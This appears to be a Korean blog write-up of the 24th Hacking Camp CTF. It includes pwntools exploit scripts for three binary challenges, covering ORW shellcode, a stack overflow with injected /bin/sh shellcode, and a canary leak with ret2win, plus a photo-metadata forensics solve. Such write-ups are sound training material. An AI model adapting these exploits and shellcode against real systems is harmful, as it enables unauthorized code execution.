24회 해킹캠프 CTF에 해캠6대장이라는 팀으로 참여 했다.
정말 정말 감사하게도 실력이 좋은 팀원분들을 만나 순위권에 든거 같다.
아직 부족하다는걸 많이 느꼈다. 특히 웹은 현재 백지 상태라 많이 공부해야될거 같다.
PWN
포너블은 문제들이 많이 쉬웠던거 같다.
shell - 500pt
바이너리와 Dockerfile등이 주어진다.
메인을 뜯어보면 read로 0x1000바이트 만큼 받고
rdx를 콜한다.
딱봐도 쉘코드 실행해주는 프로그램같았다.
banned_execve함수 가 있어서 seccomp-tools로 seccomp가 걸려있는지 봤다.
execve와 execveat은 쓰지 못한다.
from pwn import *
#p = process('./shell')
p = remote('ctf-hackingcamp.com', 14350)
context.arch = 'amd64'
shellcode = shellcraft.pushstr('/flag')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
p.sendline(asm(shellcode))
p.interactive()
shellcraft로 orw쉘코드를 쉽게 만들어서 풀었다.
HCAMP{T0th3Wor1d0fSh3l1c0D3s}
invitation - 500pt
보호기법이 하나도 안걸려있다. ㅋㅋ
바로 쉘코드 넣고 리턴주소 바꾸면 쉘이 따질거같다.
participate 함수에서 gets로 ebp-0x14부터 입력을 받으니
buf[20] + sfp[4] + ret[4]
from pwn import *
p = remote('ctf-hackingcamp.com', 10319)
e = ELF("./invitation")
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
code = 0x804a060
p.sendlineafter("code : ", shellcode)
payload = b"A" * 24 + p32(code)
p.sendlineafter("password", payload)
p.interactive()
gdb로 쉘코드 들어가는 주소 확인후 ret에 주소넣으면 바로 따짐
HCAMP{We1COmE_H4kinGC4mp}
내가 CTF에서 푼 PWN 문제는 여기까지...
다른 분이 워낙 빨리 푸셔서 문제를 잡아보지도 못함 ㅋㅋㅋㅋ
ssmash - 500pt
CTF후에 풀었습니다.
카나리가 걸려있다!
get_shell함수가 있네요.
from pwn import *
p = process('./ssmash')
e = ELF("./ssmash")
context.log_level = 'debug'
context.arch = 'i386'
def get_cnry(num):
p.sendlineafter('> ', '2')
p.sendlineafter('index: ', str(num))
p.recvuntil('[idx]: ')
return chr(int(p.recvn(2), 16))
canary = get_cnry(96)
canary += get_cnry(97)
canary += get_cnry(98)
canary += get_cnry(99)
print('canary= ' + hex(u32(canary)))
payload = b'A' * 48 + p32(u32(canary)) + b'B' * 8 + p32(e.symbols['get_shell'])
p.sendlineafter('> ', '3')
p.sendlineafter('box size: ', '1000')
p.sendlineafter('box input: ', payload)
p.interactive()
문제 어셈블리가 길어서 하나하나 설명하면 길어질거같아서
2번 기능은 buf의 범위를 넘어선 인덱스를 읽을 수 있어 카나리를 릭할수 있습니다.
이 기능으로 카나리를 릭하고 3번 기능에서 BOF가 터져 get_shell함수로 리턴하는 코드를 짜주면 쉘이 따임.
굿
2문제가 더 있지만 아직 안품.
Forensic
Art Gallery
사진 파일을 준다.
플래그 형식이
HCAMP{Latitude_Longitude_Figure Name_2022:02:19_00:00:00}이다.
좌표, 작품명, 찍은 시간을 구해 플래그에 넣으면 되는 형식이다.
근데 이 문제에 진짜 시간을 엄청 낭비했다.
mdls라는 걸로 뜯으면 좌표가 저렇게 나오는데 저걸 입력해도 안됬다.
kMDItemLatitude = 37.57179166666667
kMDItemLogicalSize = 1681647
kMDItemLongitude = 126.9766083333333
그래서 작품명이 문제인가 하고 영어, 한국어 다 했는데 안되고
지도에서 보기 누르면 저렇게 나오는데 저것도 안되고,
이것만 거의 1시간 넘게 본거같다.
작품명이나 시간은 바로 나오는데
좌표가 정확하지 않아 고생을 많이 한거같다.
쨌든 그래서 마지막으로 그냥 사진앱으로 봤을때 나오는 저 위도와 경도를 구글 지도에 쳤다.
저 좌표를 플래그에 넣었더니 풀렸다....
flag = HCAMP{37.571792_126.976608_붉은 말들_2022:01:05_16:57:29}
내가 직접 완전히 푼 문제는 PWN 2문제, 포렌식 1문제인거 같다.
팀원들이 풀던 문제를 도와 줘서 푼게 몇문제 있긴하지만
아직 나의 실력이 부족하다는것을 많이 느꼈다.
포너블 뿐만 아니라 다른 분야도 공부해야되겠다라는 것도 느꼈던 CTF였던거 같다.
포너블이 생각보다 빠르게 올클되서 풀 문제가 없다보니 손가락만 쪽쪽빨고있게 되었던거같다.
웹쪽을 건드려 볼려고 해도 웹은 백지 상태고... misc와 포렌식을 계속 건들었던거 같다.
근데 저번에 하임 CTF에선 포너블을 한 문제도 못풀었기 때문에 막상 어려운 포너블 문제가 나오면 못풀어서 포너블을 계속 더 파야되나 다른 분야를 공부해야되나 고민이다...
'CTF' 카테고리의 다른 글
DEFCON 31 Qual (0) | 2023.07.03 |
---|---|
Plaid CTF 2023 (0) | 2023.07.03 |
Dice CTF 2023 (0) | 2023.07.03 |
San Diego CTF 2022 Write-Up (0) | 2022.05.09 |
Patriot CTF 2022 write-up (0) | 2022.05.01 |